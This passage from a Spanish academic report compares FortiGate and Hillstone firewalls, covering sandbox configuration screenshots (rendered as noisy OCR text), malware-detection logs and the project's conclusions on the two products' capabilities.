® Version 91.04006

@ Version 600165

@ Version $1.04006

@ Licensed - expires an 2023/07/12
A Not Licensed

® Version 600741

© Licensed - expires on 2023/07/12
@ Version 100432

@ Licensed - expires on 2023/07/12

A Not Activated

FortiSandbox Cloud

Files Uploaded Today

@ Licensed - expires on 2023/07/12
| 172/7,200

# Enter Registration Code

= View List

© Upgrade Database

! Purchase~

4 Activate

FIGURA 116. VISTA FICHEROS ENVIADOS PARA INSPECCION SANDBOX
FORTIGATE
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3.6.3 Defensa (Hillstone)

Activada la licencia de sandbox de Hillstone se procede a configurar el profile para
analizar mediante sandbox los tipos de ficheros PE, APK, JAR, MS-Office, PDF,
SWF, RAR, ZIP y Scripts y se asignaran los protocolos sobre los que se aplicara el
profile, se ajustaran en ambas direcciones en el que los permita

Dashboard iCenter Montor Policy Object Network System

#  SLB Server Pool
Object / Sandbox / Profile
Schedule
8 AAAServer Sandbox Configuration
© Radius Dynamic Authorization
Name * prueba sa
B2 SSO Server >
Action Log Only m
BEl SSO Client >
White list
O, User >
Trusted Certificate ©
& Role > .
% Verification
& Track Object
File Upload [ o}
@ Anti-virus >
File type
@ Inirusion Prevention N
System PE JAR PDF RAR Scripi(js, vbs,wsf, Ink hta.chm pif psl, bat shell)
@ Botnet Prevention > APK MS-Office SWF zIP
€% URL Filtering > Protocol
Sandbox e HTTP @ Upload Download [EEIRIGMINE]
Profile
FTP @ Upload Download [EERIZWINE]
Configuration
SMTP @  Upload
Threat List
POP3 @  Download
Trust List
. IMAR4 @ Download
[ NetFlow >
sMB Upioad  Download [IVITANET
@ Data Security > © w -
B AcL >

=3 Collapse

FIGURA 117. CONFIGURACION ENVIO DE PAQUETES MALICIOSOS A LA SANDBOX
FORTIGATE

Ofrece la posibilidad si se requiere la necesidad de ajustar el tamafio de fichero, el limite
de lo permitido para subirlo y analizarlo

Dashboard iCenter Monitor Object Network System

#  SLB Server Pool .
Object / Sandbox / Configuration
B Schedule
#  AAAServer Sandbox
©@  Radius Dynamic Autherization
Sandbox @  (Reboot to take sfiec
B2 SSO Server >
File size limit
=SSO Client >
PE" 5 10 M8
O User >
APK* 5 10)Me
& Roe >
JAR " 5 10)Me
8 Track Object
¢ Antivirus > MS-Office * 500 200 10,000) KB
Intrusion Prevention POF * 200
@ >
System
SWF " 5 10 M8
@ Botnet Prevention >
. RAR" 5 10 M8
$ URLFiltering >
zIp* 5 10)Me
Sandbox v
Profile Script * 1000
Configuration | Report benign file log
Threat List Report greyware file log
Trust List
'S W >
@ Data Security >
[ ACL >

FIGURA 118. CONFIGURACION LIMITE DE TAMANO A ENVIAR SANDBOX HILLSTONE
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Se aplicaré sobre la politica de trafico que se quiere analizar el trafico y aplicar el
andlisis de sandbox

Dashboard iCenter Monitor Object Network System
[ security Policy v Policy / Security Policy / Policy
Policy
Policy Configuration
Policy Group
Destination Zone untrust
PFolicy Optimization
Destination Address O Any Mazximum of the Selected is 1,024
3 NaT >
+
ol iQ0S
Service Any Maximum of the Selected is 1,024
(0 Session Limit
&> Share Access
Application Maximum of the Selected is 1,024
& Traffic Quota
Action Deny  Secured connection
& ARP Defense >
W Perimeter Traffic Fililering >
Protection
Anti-Virus
IPS

Botnet Prevention

URL Filtering

I Sandbox O prueba sa I

Data Security

Options

FIGURA 119. APLICAR SANDBOX A POLITICA DE TRAFICO HILLSTONE

=4 Collapse

Pueda verse desde el menu de “Cloud Sandbox log” en detalle de lo ocurrido y la accion
tomada

Cloud Sandbox Log

PBR Log

Cloud Sanabox Log

FIGURA 120. LOGS DETECCION VIRUS MEDIANTE SANDBOX HILLSTONE
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3.6.4  Discusion

Puede verse como tanto FortiGate como Hillstone han detenido y detectado virus y
enviado a la sandbox. Como excepcion, Hillstone solo es capaz de enviar y trabajar
con los tipos de fichero PE, APK, JAR, MS-OFFICE, PDF, SWF, RAR, ZIP Y
SCRIPS por lo cual cuando se intento la descarga para su andlisis de un fichero
“malicioso” con extension .com este no lo detecto a diferencia de FortiGate que si lo
hizo
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4 Conclusiones y futuras lineas de trabajos

El objetivo de este proyecto era la prueba de las herramientas de seguridad donde
diferentes NGFW prueban sus capacidades de detencion, accion y notificacion de lo
ocurrido.

A partir de lo que se ha probado y documentado pueden apreciarse similitudes en
respuestas, pero con diferencias en las configuraciones y toma de acciones. Debido a la
problemaética relacionada con las licencias basicas puede observarse que un dispositivo
(Hillstone) tenia menores prestaciones que en el otro (FortiGate).

A nivel de trabajo ambos son parecidos con diferencias en el enfoque que hacen a la
hora de afinar configuraciones en determinados puntos como Hillstone que en Botnet
deja afinar mas el detalle de lo que se quiere hacer cuando se detecta trafico por tdnel
DNS. En cambio, FortiGate no deja esa opcion de configuracion.

FortiGate tiene una mayor documentacion y mayor adaptabilidad de uso debido a que
tiene una interfaz mas comoda lo cual facilita configurar todas las herramientas ya que
intenta centralizar su uso. Hillstone actualmente dispone de muy poca informacion
disponible al menos de manera publica para entender de forma correcta y eficiente cada
punto.

En este proyecto se han utilizado solamente 2 dispositivos NGFW, como posible mejora
0 investigacion en este tema seria realizar una comparativa con mas fabricantes y
detallar las necesidades especificas para que los clientes pudiesen elegir mas acorde
segun sus demandas.

La comparativa con mas fabricantes de NGFW, junto con el analisis detallado de las
necesidades del cliente, proporcionara un enfoque mas sélido y fundamentado para
garantizar la implementacion de la mejor solucion de seguridad de red, optimizando asi
la proteccion y eficiencia en el proyecto.
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